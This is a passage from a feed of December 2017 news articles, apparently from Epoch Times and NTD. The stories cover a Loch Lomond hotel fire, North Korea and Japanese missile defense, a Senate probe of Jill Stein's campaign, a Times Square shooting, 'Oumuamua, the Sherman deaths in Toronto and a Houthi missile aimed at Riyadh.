Then the room filled with smoke, the lights in the room went off and we didnt hear them again. I was in tears and shaking. It was incredibly traumatic, horrendous.

The emergency services then came to rescue the family from the deadly blaze.

How sad to see these images of Cameron House, hope it can continue to operate: Luxury hotel fire on banks of Loch Lomond https://t.co/9dyPOCKpL0 pic.twitter.com/dWPROoX5qY  Tmade Meetings (@TMadeMeetings) December 19, 2017

Honeymoon couple's baby rescued as two die in Cameron House inferno https://t.co/rkIWh7UNXg pic.twitter.com/4mMs1seDsy  The Scottish Sun (@ScottishSun) December 19, 2017

Over 200 guests were evacuated from the luxury hotel at around 6:50 a.m. on Monday morning, police said.

Police confirmed that one person was pronounced dead at the scene and another died after being taken to Royal Alexandra Hospital in Paisley.

Guest Agnes Tataki told the the Daily Mail, A man was stuck up, right at the top, and he smashed the window and got out himself and then firefighters had to take him down.

A woman who works in the kitchen of the luxury hotel told the BBC that she couldnt believe the news.

Its a really lovely hotel, she said. Im so sorry to see this.

About 70 firefighters were called to the scene at the height of the blaze, according to reports.

The cause of the fire is still being investigated. Police said a report will be sent to the procurator fiscal.

The hotel confirmed that the fire was within the main building.

A statement on their website reads: Due to an ongoing incident please be aware that Cameron House will remain closed to arriving guests for at least the next 72 hours.
South Korean Foreign Minister Kang Kyung-wha (L) shakes hands with her Japanese counterpart Taro Kono as they attend the Japan-ROK Foreign Minister meeting at the Ministry of foreign affairs in Tokyo on Dec. 19, 2017. (DAVID MAREUIL/AFP/Getty Images)

Japan, South Korea, Call on China to Do More to Stop North Korea

Japan and South Korea are calling on China to push its wayward ally North Korea harder so it abandons its ballistic missile and nuclear weapons programs, Japans foreign minister, Taro Kono, told reporters on Dec. 16

We agreed that it is necessary to ask China to play even more of a role, Kono said meeting with South Korean Foreign Minister Kang Kyung-wha.

North Koreas Nov. 28 intercontinental ballistic missile test proved once and for all that it has a missile big enough to carry a nuclear warhead and powerful enough to climb well beyond the earths atmosphere, arc through space, and come down anywhere in the United States.

With the test, the prospect of a negotiated peace dealwhich seemed possible after the regime went over two months without a testevaporated.

The White House pledged more sanctions were coming, but two weeks later press secretary Sarah Sanders later said that effort was complicated.

China and Russia have both said they will not pass additional sanctions against North Korea, a position that has ensured the Kim regime has a reliable supply of oil, often seen as the critical commodity for regime stability.

While Kono acknowledged China was implementing the United Nations Security Council resolutions passed in September, he said Beijing could apply pressure to Pyongyang.

Kang and Kono met for three hours in Tokyo, according to the Straight Times. The two foreign ministers were in accord that China needed to play a larger role, even if it claimed to be adhering to the sanctions passed in September.

The unified call for China to do more comes as Japan decides to begin using the U.S.-made Aegis Ashore ballistic missile defense system, and National Security Advisor HR McMaster spoke of other options to denuclearize the regime.

Prime Minister Shinzo Abes cabinet approved the installation of two land-based Aegis Ashore missile defense systems on Dec. 19, reported the Japan Times. The system is meant to counter short and intermediate range ballistic missiles, but not the intercontinental ballistic missile North Korea tested last last month.

The same day, Abe said it was time to restart a long-stalled parliamentary debate on the revising of Japans post-war pacifist Constitution, reported the Times.

Article 9 of the constitution can be read to ban Japan from maintaining a standing military but is more widely read to limit Japans military to a defensive role. Abe wants to loosen the current restrictions on the military.

That same day, U.S. National Security Adviser HR McMaster said during a BBC interview that the chances of war with North Korea hinge on the immediate actions of all involved.

The chances of war, who knows what they are. They could go up or down, I think, based on what we all decide to do. North Korea is a grave threat to all civilized people across the globe.

When asked if he was committed to a peaceful resolution to the current standup, McMaster said it was preferred but not required.

We want the resolution to be peaceful, but as the president has said, all options are on the table and we have to be prepared if necessary to compel the denuclearization of North Korea without the cooperation of that regime.
The Missile Defense Agency conducts the first intercept flight test of a land-based Aegis Ballistic Missile Defense weapon system from the Aegis Ashore Missile Defense Test Complex in Kauai, Hawaii, December 10, 2015. (Reuters/U.S. Missile Defense Agency/Leah Garton/Handout via Reuters)

Japan to Expand Ballistic Missile Defense With Ground-Based Aegis Batteries

New measures to combat growing threat of North Korean rockets

TOKYOJapan formally decided on Tuesday it would expand its ballistic missile defense system with U.S.-made ground-based Aegis radar stations and interceptors in response to a growing threat from North Korean rockets.

A proposal to build two Aegis Ashore batteries was approved by Prime Minister Shinzo Abes Cabinet.

The sites without the missiles will likely cost at least $2 billion and are not likely to be operational until 2023 at the earliest, sources familiar with the plan told Reuters earlier.

North Koreas nuclear missile development poses a new level of threat to Japan and as we have done in the past we will ensure that we are able to defend ourselves with a drastic improvement in ballistic missile defense, Japanese Minister of Defence Itsunori Onodera told reporters after the Cabinet meeting.

The decision to acquire the ground version of the Aegis missile-defense system, which is already deployed on Japanese warships, was widely expected.

North Korea on Nov. 29 tested a new, more powerful ballistic missile that it says can hit major U.S. cities including Washington, and fly over Japans current defense shield.

That rocket reached an altitude of more than 4,000 km (2,485 miles), well above the range of interceptor missiles on Japanese ships operating in the Sea of Japan.

North Korea says its weapons programs are necessary to counter U.S. aggression.

The new Aegis stations may not, however, come with a powerful radar, dubbed Spy-6, which is being developed by the United States.

Without it, Japan will not be able to fully utilize the extended range of a new interceptor missile, the SM-3 Block IIA, which cost about $30 million each.

A later upgrade, once the U.S. military has deployed Spy-6 on its ships around 2022, could prove a costly proposition for Japan as outlays on new equipment squeeze its military budget.

Initial funding will be ring-fenced in the next defense budget beginning in April, but no decision has been made on the radar, or the overall cost, or schedule, of the deployment, a Ministry of Defence official said at a press briefing.

Japans military planners also evaluated the U.S.-built THAAD (Terminal High Altitude Area Defense) system before deciding on Aegis Ashore.

Separately, Minister of Defence Itsunori Onodera said this month Japan would acquire medium-range cruise missiles it can launch from its F-15 and F-35 fighters at sites in North Korea, in a bid to deter any attack.

The purchase of what will become the longest-range munitions in Japans military arsenal is controversial because it renounced the right to wage war against other nations in its post-World War Two constitution.
L: Green Party presidential candidate Jill Stein speaks at a news conference in front of Trump Tower as she discusses her presidential recount efforts in New York, Dec. 5, 2016. (DON EMMERT/AFP/Getty Images); R: Senate Intelligence Committee Chairman Richard Burr (R-N.C.) in Washington, DC, on Sept. 26, 2017. (Mark Wilson/Getty Images)

Jill Steins Campaign Investigated by Senate for Russia Collusion

The presidential campaign of Green Party candidate Jill Stein is being investigated by the Senate Intelligence Committee, which is looking into allegations that the Russian government interfered in the U.S. 2016 presidential election.

The chairman of the committee, Sen. Richard Burr (R-N.C.), on Monday, Dec. 18, gave reporters an update on the progress of the investigation.

I think its safe to say we have two other campaigns we are just starting on, he said, WTVA reported.

He specifically told reporters the committee wanted to probe the Stein campaign for collusion with the Russians.

Burr didnt specify what or who the second campaign was looking into.

The committee has already requested the Steins campaign documents, she stated in a Tuesday release.

Stein, who garnered close to 1.5 million votes in the election, was spotted sitting at the same table as Russian President Vladimir Putin at an event organized by the Russian state-backed RT television.

Two other attendants of the event previously told The Epoch Times that Putin only sat at the table for a couple of minutes and his conversations didnt go beyond a greeting.

Former Trumps national security adviser, Michael Flynn, also sat at the table. Flynn was forced to resign on Feb. 13 after he had misinformed Vice President Mike Pence about a phone call he had with the Russian ambassador in December of 2016. He was later charged for lying about the call to an FBI agent.

The agent who interviewed Flynn, Peter Strzok, was recently discovered to have discussed a plot to prevent then-candidate Donald Trump from winning the presidency in text messages to FBI lawyer Lisa Page.

The Hill reported on Dec. 4 that Strzok also changed key language in the conclusion of the investigation into Hillary Clintons use of private email server during her tenure as State Secretary.

Strzok changed the language on the Clinton email case from grossly negligent, which would have been a crime, to extremely careless. Changing the phrase may have exonerated Clinton.

Stein pointed out she was scrutinized for her trip to Russia soon after the election.

I think its very related to the fact that the Democrats are looking for someone to blame, she told CNNs Michael Smerconish in June.

Stein said in her statement shes cooperating with the Senate probe.

We strongly support legitimate inquiry into any illegal activity in our elections  including quid pro quo deals, money laundering, corruption and violation of campaign finance laws, she said. At the same time, we caution against the politicization, sensationalism and collapse of journalistic standards that has plagued media coverage of the investigation.

Stein was scrutinized for her finances too. After the election, she quickly raised over $7.3 million for her initiative to recount votes in Wisconsin, Pennsylvania, and Michigan, while she only raised $3.2 million for her entire presidential campaign.

She only received about 1 percent of votes in all three states, but all three were states where Trump beat Clinton by a thin margin.

In the end, only Wisconsin completed the recount, netting 66 additional votes for Stein and 131 additional votes for Trump, Wisconsin State Journal reported. In Michigan and Pennsylvania, the recounts were blocked by courts.

Stein was to keep over $2 million of the recount donations, The Washington Free Beacon reported. She said she would use the money to advocate for voting system changes.

A question to her spokesman, Dave Schwab, about how the money has been used hasnt been answered.
A screenshot shows 7th Avenue near Times Square in New York, including the sports bar, Tonic. (Screenshot/GoogleMaps)

Man Shot to Death Outside Times Square Bar

A man was shot dead outside a Times Square sports bar in the early hours of Tuesday morning, according to police and eyewitnesses.

Police say that the suspect is at large after fleeing the scene of the shooting outside Tonic, a Times Square bar at around 4 a.m. on Dec. 19.

New York police report the 33-year-old man was shot in the head, according to CBS New York.

He later died in hospital, despite the efforts of bystanders to keep him alive.

Times Square Shooting Leaves Man Dead, Police Say https://t.co/NatvbIPT4L pic.twitter.com/nsTXSoRCXR  New York City Patch (@NYC_Patch) December 19, 2017

The incident comes one week after a pipe bomb was exploded in a nearby underground passage, and two weeks before one million people are expected to flock to the area for New Years celebrations.

One witness told NBC4 that the suspect, without a word, shot the victim as they walked out of the bar, which is just two blocks from Times Square.

There was no fight or anything like that, the witness said. It was so quiet. They just came out of the club and we heard the shot.

I walked out into a crime scene without even realizing, said John Keen, 65, who works nearby told NY Daily News.

Fatal shooting at Times Square bar https://t.co/98hG9h7EFg pic.twitter.com/TiMScIhIti  Roc Buzz (@rocbuzz) December 19, 2017

PIX11 reports a source that said the shooting occurred after last call and that several people, including the victims girlfriend, tried to help the victim.

The victim was taken to a hospital where he died.

#Shooting in #TimesSquare at #TonicBar. Last call leads to a fatal shooting for 27 y/o Manhattan man. Girlfriend sobbing over the dying man as emergency responders rush to #Bellevue. Now hunt on for suspect, M in 20s, 59 thin Hispanic man in black jacket & skull cap. pic.twitter.com/zDWwnNrdN7  Kirstin Cole (@kirstincoletv) December 19, 2017

Police said the suspected shooter fled north on Seventh Avenue, according to PIX11, wearing a black skull cap and a black jacket.

One witness told 1010 WINS that she tried to keep the victim alive.

I was also trying to help the woman whoever was with him, I dont know what relation she was to him, but take his pulse, I tried to start CPR but she was still all over him, trying to hold him.
Married for 71 Yearsand They Die Within Minutes of Each Other

An elderly couple has died within minutes of each otherjust five days after celebrating their 71st wedding anniversary.

Ruth and Bob Kretschmer were both in their 90s and confined to hospital beds in the home they had lived in for 60 years.

Ruth had Alzheimers disease and Bob had cancer. They were being cared for by their children and helpers.

Im going downhill, Bob told a friend, reported the Chicago Sun Times, but I have to hang on because I cant let Ruth go to a home.

But around 10 a.m. on Friday, Dec. 15, Ruth stopped breathing, daughter Ruthann Koenig told the paper.

The couples other daughter, Bobbi Boston, said a caregiver was holding dads hand, and she [the caregiver] was crying. He asked her what was wrong, and she said, Ruths gone. And his hand went limp.

Twenty minutes later, Ruth was pronounced dead by a nurse, Koenig told the Chicago Sun Times.

Shes Gone  Oh My God, Hes Gone

She said, Shes gone, and she stood up, turned around, and said, Oh my God, hes gone.

It was as if he was released from his duty. As soon as he heard mom declared at 10:25, dad was declared at 10:26, Koenig said.

I believe to the bottom of my soul he hung on for her.

Bostons husband, Roy Boston, told the Daily Herald: The arc of their two lives, terminating as they did within 15 minutes, meant they were meant for each other in this life and the next.

Ruth was described as very, very driven by Koenig. She had worked in the utility industry, helping to set up utilities in the then-new republic of Kazakhstan.

Kirk Dillard, former Illinois state senator and former DuPage County GOP chief, told the Chicago Sun Times: Ruth was a trailblazer and role model for women elected and appointed to office.

Bob fought in World War II, almost dying when a German shell landed near him and two fellow soldiers.

He went to get a cup of coffee, Koenig told the Chicago Sun Times. And while he was gone, a German shell came in. They were killed. He was saved by a cup of coffee.

He told me, War is so random. I dont know why I survived and the others didnt.

Ruth and Bob Kretschmer are survived by daughters Ruthann and Bobbi, and son R. David, as well as eight grandchildren and 12 great-grandchildren.
New IMF Report Reveals Just How Big Chinas Debt Problem Is

A newly released report and book on the Chinese economy has revealed the severity of Chinas debt problem.

The International Monetary Fund (IMF) released its once-in-five-years assessment of financial stability around the world on Dec. 6. The report on China detailed the severity of its debt, whichtallied between central and local government, corporate, and householdamounted to 2.55 times GDP (Gross Domestic Product). This is a significant increase from the previous report, which recorded debt at 1.8 times the GDP.

The World Bank has not yet released its GDP numbers for 2017, but He Weiwen, deputy director at Center for China and Globalization, a think tank based in Beijing, estimated that Chinas 2017 GDP could reach about 82 trillion yuan (about $12.3 trillion), according to a report by the Chinese regimes mouthpiece newspaper, Peoples Daily, published on Oct. 28. Chinas 2016 GDP was $11.19 trillion, according to the World Bank.

Using the Center for China and Globalizations GDP estimate for China, and the IMFs estimate of debt to GDP ratio, Chinas national debt would equal to 209 trillion yuan (about $31.6 trillion).

In the report, the IMF pointed out the rate of debt increase was significant for the last six years. Meanwhile, it cautioned against the continued presence of unregulated shadow banking, as well as the Chinese regimes efforts to support bankrupt zombie firms, contributing to the credit crisis.

American-based Chinese economist Dr. Cheng Xiaonong, who just published a new book on the Chinese economy, said in an interview with Voice of America that the Chinese regime has paid a heavy price to maintain the massive apparatus it has created to surveil and control society. Just keeping public security forces and the army employed is expensive. By Chengs estimate, out of Chinas 31 provinces and directly governed municipalities, 25 are in debt, surviving by relying on funds from central authorities. Only Shanghai, Beijing and the provinces of Guangdong, Zhejiang, Jiangsu, and Fujian are in the black, with a total surplus of three trillion yuan ($453 billion).

Cheng also noted that the past two decades of Chinas rapid growth was buoyed by one-off events: foreign investment after entering the WTO (World Trade Organization) and its real estate boom. With no future sources of explosive growth, he predicted that Chinas economic prosperity will be short-lived and enter a normal state.
New Jersey Man Claims He Has Fathered Hundreds of Babies with Aliens

A 74-year-old deli counter worker from New Jersey says he has been in regular contact with alien beings since he was 8 years old and has fathered hundreds of children with extraterrestrials, according to Daily Mail and a feature-length documentary on the mans life titled Love and Saucers.

David Huggins said his most recent encounter with aliens was five or six months ago in a place he called there, a realm he cant quite explain where the alien beings live. Huggins claims that he encountered his first alien as a child and that he began to have sexual intercourse with aliens when he was 17.

Brad Abrahams, the director who filmed a documentary about the man, at first dismissed Huggins story as fantastical, but was eventually disarmed by the mans relaxed demeanor and straight talk.

Youre immediately disarmed by how down-to-earth and normal he seems, director Brad Abrahams told Daily Mail. Hes from small-town Georgia in the 1950s, and sort of softly spoken, simply spoken, doesnt really muse on things, just tells you very matter-of-factly the most ridiculous or surreal of claims.

And hearing these things come out of the mouth of someone who seems so, so normal and sobering, the way he talks about it is a real dichotomy, Abrahams continued. Like I said, it disarms you and it leaves you open to actually just listening to him as another human being, not  as one might think  of a quack or a charlatan or someone whos unbalanced. Because right away you see that hes not, and you just tend to take him more seriously and the story more seriously.

Over the years, Huggins has painted hundreds of paintings based on his encounters. He told Daily Mail that he hoped the film would open peoples minds and foster dialogue. Huggins believes that millions of people may have experienced the same things he has, especially at a young age.

I hope people will think seriously about it, he told DailyMail.com. I have never asked anyone to believe a word I say, because I know I can never prove it. I hope that youll think about it.

For Love and Saucers, Abrahams interviewed Hugginss son, boss, and neighbors. Hugginss son told the filmmaker that he never questioned his fathers story. Hugginss boss at a Hoboken deli also said he believes his employee.

Thats what he tells me, the deli boss said. I just believe it.

Abrahams hopes his film would have people walking away listening, not judging, and learning something about consciousness or humanity, or just walking away with more enriching experiences on the human condition.

I dont necessarily want people to come away believing in aliens; that wasnt my intention, Abrahams said. It was more to walk away believing David, believing that he had some kind of experience.

I can say unequivocally that I dont believe David is making anything up, that he believes what happened to him was real  but if its something that happened in objective, hard reality, or if a member of the public was there with him, would they see what he saw? Abrahams asked. Thats something I dont know the answer to.

Huggins said that his first encounter with an alien being happened when he was outdoors as a child.

Nobody in my family seemed to see what I was seeing, Huggins said in Love and Saucers. My first encounter was when I was eight years old. I was playing at the base of a tree, and I hear this voice say, David, behind you. And I turned around and theres this little hairy guy with large glowing eyes coming straight towards me. I thought it was the bogey man. I didnt know what to think of it.

Whats interesting was that for a split second, I felt as if I was in his eyes looking at me. Then I just freaked and I ran to the barn, and I glance back and the little hairy guy was turning around and going back into the woods, he continues. The eyes were just glowing, is the best way to put it.

Over the years Huggins said he would encounter different types of aliens: some insect-like, others he referred to as little greys, and a number of female aliens with large eyes and slender bodies.

Huggins says in the documentary that he began to have a sexual relationship with one of the female aliens who he called Crescent. This alien one day announced to Huggins that they had a child.

I was doing some painting, and then all at once the wall opens up and theres Crescent, Huggins says in the documentary. And shes very stressed out and she says, David, the babys dying. And I go, Baby? What baby? Your baby, but its dying. And I say, Show me my baby! At first she wouldnt do it, and I had to yell it out three times, really loud: Show me my baby!'

She picks the baby up out of some container and holds it out in front of her, and the babys just like dangling, Huggins continues. And I say, No, no, no  dont hold the baby like that. Cradle the baby in your arms  Listen, Ive got to come there.'

Huggins then claimed to cross over into the other realm where he touched the alien baby and it was instantly revived after a jolt of energy passed from his hand into the alien babys body.

Another alien then led Huggins to a different room filled with babies, whom Huggins also revived with a touch of his hand.

Abrahams told Daily Mail that Huggins paintings pushed him over the edge to decide and make the film.

That really was what sort of clinched it for me to want to make the film, after seeing the paintings, Abrahams told Daily Mail. As a filmmaker, theyre so cinematic. Each one tells a story. He has very little training; theres a real sense of composition, of lighting  its like a narrative in each one. Thats a real gift for a filmmaker. As a storytelling device, theres something so arresting and off-putting about them  and yes, theres hundreds of them, and theyre completely consistent.

From NTD.tv
North Koreans listen to a television broadcast of a statement by communist dictator Kim Jong-Un, in Pyongyang, North Korea, on Sept. 22, 2017. (ED JONES/AFP/Getty Images)

North Korea Threatens US With Preemptive Nuclear Strike

The North Korean regime has threatened the United States with a preemptive nuclear strike.

The threat comes at a time where North Korea appears both concerned about its own future but unwilling to let go of its nuclear weapons program.

In an article published by the Korean Central News Agency (KCNA), the regime said that the iron-willed DPRKs preemptive nuclear attack against provocateurs is just not hot air.

Just last month the North Korean regime launched an ICBM missile that left and reentered the earths atmosphere, giving proof that the missile could reach the continental United States.

However, the article itself reveals also North Koreas own weakness, which is an increasing fear of a military conflict.

North Koreas Hwasong-15 ICBM reached an altitude of about 2,780 miles and flew 590 miles during its 53-minute flight. (Reuters/KCNA)

The state media article goes to great lengths citing statistics of how disastrous a war would be, comparing it to World War II.

In recent months, the North Korean regime has privately and publicly grown increasingly worried about the prospect of a war it is certain to lose.

In a commentary published by KCNA last month, North Korea raised concerns about the increase of U.S. military assets in the region.

Two Lockheed Martin Corp F-35 stealth fighter jets fly to the Avalon Airshow in Victoria, Australia, March 3, 2017. (Australian Defence Force/Handout via Reuters)

The regime talked about the danger of the U.S. move to send its strategic assets towards the Korean peninsula.

The communist regime also said that the U.S. strategic assets had gotten increasingly dangerous in the estimation of its round [sic], size and content.

Since coming to office in January, President Trump has taken a strong stance against the North Korean regime. He has demanded the complete denuclearization of the regime as the only solution to the crisis.

Under previous administrations, North Korea was able to make deals to its own benefit. In exchange for seemingly pausing its nuclear weapons program, it received financial and material aid. That aid has been used for years to prop up the regime and maintain its power, while leaving millions of North Korean people in poverty and fear.

U.S. President Donald Trump speaks to the media during a meeting with congressional leadership in the Roosevelt Room at the White House on Nov. 28, 2017 in Washington, DC. (Kevin Dietsch-Pool/Getty Images)

The increase in North Koreas threats could point to a strategy on its part to attempt to get a similar deal from the current administration.

That seems highly unlikely, as Trump has indicated he is determined to solve the problem that his predecessors didnt.

A viable military threat has been a key part of Trumps strategy in dealing with North Korea. Trump has demanded the complete denuclearization of the Korean Peninsula, which he hopes to achieve through talks with the regime.

This includes the deployment of more military assets to the region, such as F-35 fighter jets to Japan. In recent months, the U.S. also increased its naval presence in the region, deploying at its peak three U.S. Aircraft carriers and their strike groups. The U.S. has also deployed several nuclear powered submarines in the region.

Trump has used the threat coming from North Korea as an example for the need to increase military spending and improve the military that has been lagging behind for years as a result of budget cuts. Last week, Trump signed the National Defense Authorization Act, which, if funded by Congress, would increase military spending in 2018 to almost $700 billion.

The bill includes an overall increase in spending on the military and the acquisition of new defense equipment. Among the budgeted expenses are F-35 Joint Strike fighters, ground combat vehicles, and Virginia-class submarines.

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This artists impression shows the first interstellar asteroid: "Oumuamua." This unique object was discovered on Oct. 19, 2017 by the Pan-STARRS 1 telescope in Hawaii. Subsequent observations from ESOs Very Large Telescope in Chile and other observatories around the world show that it was travelling through space for millions of years before its chance encounter with our star system. (European Southern Observatory/M. Kornmesser)

Oumuamua: First Alien Object Is Cloaked in Mysterious Coat, Scientists Say

New details about the cigar-shaped interstellar object have emerged after scientists spent weeks studying the mysterious alien rock.

Scientists have revealed that Oumuamuawhich was caught on a telescope in Octoberis wrapped in a layer of organic insulation, reported the Independent.

Researchers have conducted two major studies to look at what Oumuamua actually looks like and what it could be made of. One group of researchers used spectroscopy and thermal modelling to try and understand the rocks composition while the other group observed the color of Oumuamua and used that to try and discover how it looked.

According to the new research, the object is likely made up of an icy body which is shielded by an organic coat that protects it from being hit by the sun.

Professor Alan Fitzsimmons, from Queens University Belfast and co-author of the research into the rocks composition, said although they didnt detect ice in the internal body, their research does not rule it out.

In the end this was a nice result because weve expected all along that the majority of objects that would visit our solar system would be icy in nature, Fitzsimmons told the Independent.

Our study says that this object could well be icy in nature but we didnt detect that ice due to the fact its been baked by energetic radiation between the stars for hundreds of millions of years, or even billions of years, he added.

As for the organic coat, Fitzsimmons said it was made of carbon-based compounds developing from original ice-rich and carbon-rich material that came from its home star system, reported AFP.

[The shield was] created by reactions between the original surface and bombardment by energetic particles in interstellar space over millions or billions of years, Fitzsimmons told the news station.

It is difficult to know what it would resemble, but something between coal dust and graphite (pencil shavings) is possible, he added.

Dr. Michele Bannister, also from Queens University Belfast and the author of another study on the color of the strange rock, said they expected that rocks similar to Oumuamua are thrown from elsewhere in the universe into our solar system. However, they are difficult to spot as they are so dark.

In some ways we had expected these things for some time, Bannister told the newspaper. Our own solar system has ejected millions of very small rocky bodies, and so we should expect that others do the same.

The findings were interesting as they give scientists an opportunity to understand how other stars are formed and how objects might cope with the harsh environment of space, giving us a direct look at something that has undergone this process.

Bannister said Oumuamua could have traveled in our universe for millions or billions of years.

Its travelled for millions or billions of years  it could be older than our solar system, said Bannister. Its come from a very long way away, but it looks very familiar.

Oumuamua is Hawaiian for a messenger from afar arriving first.

Officially named Interstellar Asteroid 1I/2017 U1, it appears to have originated from the star Vega and is currently leaving the Solar System. It may take approximately 20,000 years to do so.

Simon Veazey contributed to this report.

From NTD.tv
Honey and Barry Sherman, Chairman and CEO of Apotex Inc., were found dead in their Canadian home on Friday, Dec. 15 in an incident police are calling 'suspicious.' Photo taken during (UJA) fundraiser in Toronto, Ontario, Canada, on Aug. 24, 2010. (The Globe and Mail/Janice Pinto/via Reuters)

Police Reveal Cause of Death for Toronto Billionaires Found Dead at Home

The cause of deaths for Toronto pharmaceutical executive Barry Sherman and his wife were revealed by police on Sunday evening, according to a press release.

Post-mortem examinations were carried out yesterday and today. The cause of death for both deceased was ligature neck compression, the release, posted online on Sunday, stated.

Toronto Police Service Homicide has taken the lead in this suspicious death investigation, the press release added.

Ligature neck compression is defined by strangulation caused by binding or tying, but police, in the release, didnt describe their deaths as a homicide. They only said that the deaths were suspicious, according to the Toronto Globe and Mail. They were found hanging from a railing around their basement lap pool.

Barry Sherman, 75, is the founder of the Canadian pharmaceutical company, Apotex. According to Forbes magazine, his net worth is around $3.2 billion.

A real estate agent who was helping the couple sell off their home found the bodies of Sherman and his wife, Honey.

The Globe and Mail reported there was no sign of forced entry, and there was no note left behind.

Less than a week before they were found dead, Honey said she was making plans to go south.

Looking forward to getting together in Florida. I am coming south Monday, December 18 [to]Friday, January 12, she wrote in an e-mail last Monday, the paper reported. Barry is coming south for Monday December 25 & going home with me Jan. 12. Please let me know your dates south asap so i can place in my calendar  Looking forward to hearing back asap. Xoxo Honey.

The couple had four children and recently welcomed a grandchild.

Devastating news about the deaths of prominent members of the Toronto Jewish community, philanthropists and great friends of Israel, Barry and Honey Sherman. It is a pity for those who are gone and no longer to be found.     . @IsraelinToronto @IsraelMFA  Galit Baram (@GaliBaram) December 15, 2017

The case has dominated the Canadian news, with employees, friends and leading politicians expressing shock, Reuters noted.

The Globe and Mail, Toronto Sun and Toronto Star reported Saturday that police were operating on the theory that Barry Sherman had killed his wife and hanged himself.

A statement issued late Saturday on behalf of the Shermans four children criticized that idea.

We are shocked and think its irresponsible that police sources have reportedly advised the media of a theory which neither their family, their friends nor their colleagues believe to be true, the statement reads.

We urge the Toronto Police Service to conduct a thorough, intensive and objective criminal investigation, it said.

Reuters contributed to this report.
A palace in Saudi Arabia's capital Riyadh (not pictured) was almost hit by a ballistic missile fired from Yemen. (HASSAN AMMAR/AFP/Getty Images)

Saudi Arabia Intercepts Ballistic Missile Fired at Royal Palace

Saudis royal family narrowly avoided disaster when the Saudi-led military forces stopped a ballistic missile that was within seconds of hitting the royal palace in Riyadh on Dec. 19.

The missile, fired by Iranian-backed Houthi extremists in Yemen, was intercepted before it reached the palace, which is used by Saudi King Salman for weekly cabinet meetings.

A Houthi spokesperson confirmed the launch of a Volcano H-2 ballistic missile on Twitter and said that the royal palace was the intended target.

A report carried by the Houthis Al Masirah TV said that the missile was intended to strike the palace at a time when Crown Prince Mohammed bin Salman was hosting a government meeting.

It was the second ballistic missile fired at Saudi Arabias capital in two months.

Saudi Crown Prince Salman bin Abdulaziz at Erga Palace in Riyadh, Saudi Arabia, on Dec. 9, 2013. (Mark Wilson/Getty Images)

On Nov. 5, a ballistic missile fired from Yemen at the King Khalid airport was intercepted by an American-made Patriot missile defense system.

The timing of the missile launches is suspicious given domestic affairs in Saudi Arabia.

While it comes on the backdrop of a years-long conflict between Saudi Arabia and Houthi fighters, the attack on the royal family comes in the midst of a major anti-corruption crackdown.

On Nov. 4, just a day before the first ballistic missile launch, Saudi Arabian authorities arrested 11 princes and 38 other top figures in the kingdom. In total over 500 people were arrested by an anti-corruption commission headed by Crown Prince Mohammed bin Salman.

Those arrested include some of the wealthiest and most influential people in the country.

Saudi Crown Prince Mohammed bin Salman in Riyadh, Saudi Arabia, on April 11, 2017. (Bandar Algaloud/Courtesy of Saudi Royal Court/Handout/File Photo via REUTERS)

Among those arrested is billionaire Saudi Prince Alwaleed bin Talal, who, according to Forbes, is the 83rd-richest person in the world.

Alwaleed has been linked to the spreading of radical Islamic ideology both in Saudi Arabia as well as in the United States. Alwaleed has significant business interests in the United States, including stakes in Citigroup and Twitter.

The prince and others arrested had ties to then-President Barack Obama, as well as with the Bush family and the Clintons.

Saudi Arabian Prince Alwaleed Bin Talal during a meeting with Sri Lankan Foreign Minister Ravi Karunanayake in Colombo on July 4, 2017. (ISHARA S. KODIKARA/AFP/Getty Images)

Trump voiced his support for the corruption crackdown on Twitter on Nov. 6.

I have great confidence in King Salman and the Crown Prince of Saudi Arabia, they know exactly what they are doing. the president wrote on Twitter.

I have great confidence in King Salman and the Crown Prince of Saudi Arabia, they know exactly what they are doing.  Donald J. Trump (@realDonaldTrump) November 6, 2017

Alwaleeds father, Talal bin Abdulaziz al-Saud, has a history of radical Islamic politics, and was previously suspected of attempting a communist coup in Saudi Arabia.

The missile launch also reveals the growing influence of Iran in the region and its role in supplying extremists in the region with advanced weapons.

Its ballistic missiles and advanced weapons are turning up in more zones across the region, said U.S. Ambassador to the United Nations Nikki Haley on Dec. 14.

Haley said that analysis of the missile fired on Nov. 5 showed that it was built in Iran.

U.S. Ambassador to the United Nations Nikki Haley unveils previously classified information intending to prove Iran violated UNSCR 2231 by providing the Houthi rebels in Yemen with arms during a press conference at Joint Base Anacostia in Washington, DC, on Dec. 14, 2017. (JIM WATSON/AFP/Getty Images)

These are the recovered pieces of a missile fired by Houthi militants from Yemen into Saudi Arabia  unequivocally that these weapons were supplied by the Iranian regime, the evidence is undeniable, Haley said while standing in front of the missile parts.

The weapons might as well have had Made in Iran stickers all over it, Haley said.

Irans ballistic missile program is not covered by the nuclear agreement it reached with the Obama administration and other world powers in 2015.

This means that Iran can develop its advanced technology and missile program without repercussions on the nuclear deal.

A placard describing pieces of an Iranian Qiam Ballistic Missile on display after U.S. Ambassador to the United Nations Nikki Haley unveiled previously classified information to prove Iran violated UNSCR 2231 by providing the Houthi rebels in Yemen with arms during a press conference at Joint Base Anacostia in Washington, DC, on Dec. 14, 2017. (read JIM WATSON/AFP/Getty Images)

What were saying is everybody has tip-toed around Iran in fear of them getting out of the nuclear deal, and they are allowing missiles like this to be fired at innocent civilians, Haley said.

Trump announced in October that his administration would renegotiate the deal officially known as the Joint Comprehensive Plan of Action. If that does not work, Trump said he would terminate the deal completely and negotiate a new deal.

The existing nuclear deal puts Iran on track to have a nuclear weapon by 2026. At that point, critical restrictions on its enrichment of uranium will be phased out, and the regime will be allowed to operate thousands of advanced centrifuges. Experts believe that Iran could then develop a nuclear weapon within six months.
Fountains of hot gas erupting from a beastly black hole in the heart of a large galaxy known to radio astronomers as Hercules A. (https://public.nrao.edu/mediause)

Scientists Hope to Actually See a Black Hole in 2018

For the first time since theoretical physicists predicted their existence, scientists think they might actually get to see a black hole in 2018.

Astronomers have detected signs of black holesobserved the giant interstellar gas clouds they attract and the distortion of space they cause. In 2008 scientists hope to actually see the supermassive black hole at the center of the Milky Way galaxy.

What astronomers hope to see is what is called the event horizon, the limit beyond which nothingnot even lightcan escape a black hole. This should show up as a black disc silhouetted against the glowing gas surrounding the mysterious cosmic object.

One of the really nice things about this is taking an image of black hole event horizon has been beyond our reach for so long that its been a pleasant surprise to build upon these existing technologies and capture an image so soon, says Monash University astrophysicist Professor Michael Brown, FoxNews reported. It really complements the exciting gravitational wave discoveries of merging black holes and the creation of new black holes.

Having fun with making new movies for a talk. This is accretion disk and a black hole in polarized light at different viewing angles pic.twitter.com/0aozerYiA1  Monika Moscibrodzka (@mmosc_m) September 14, 2017

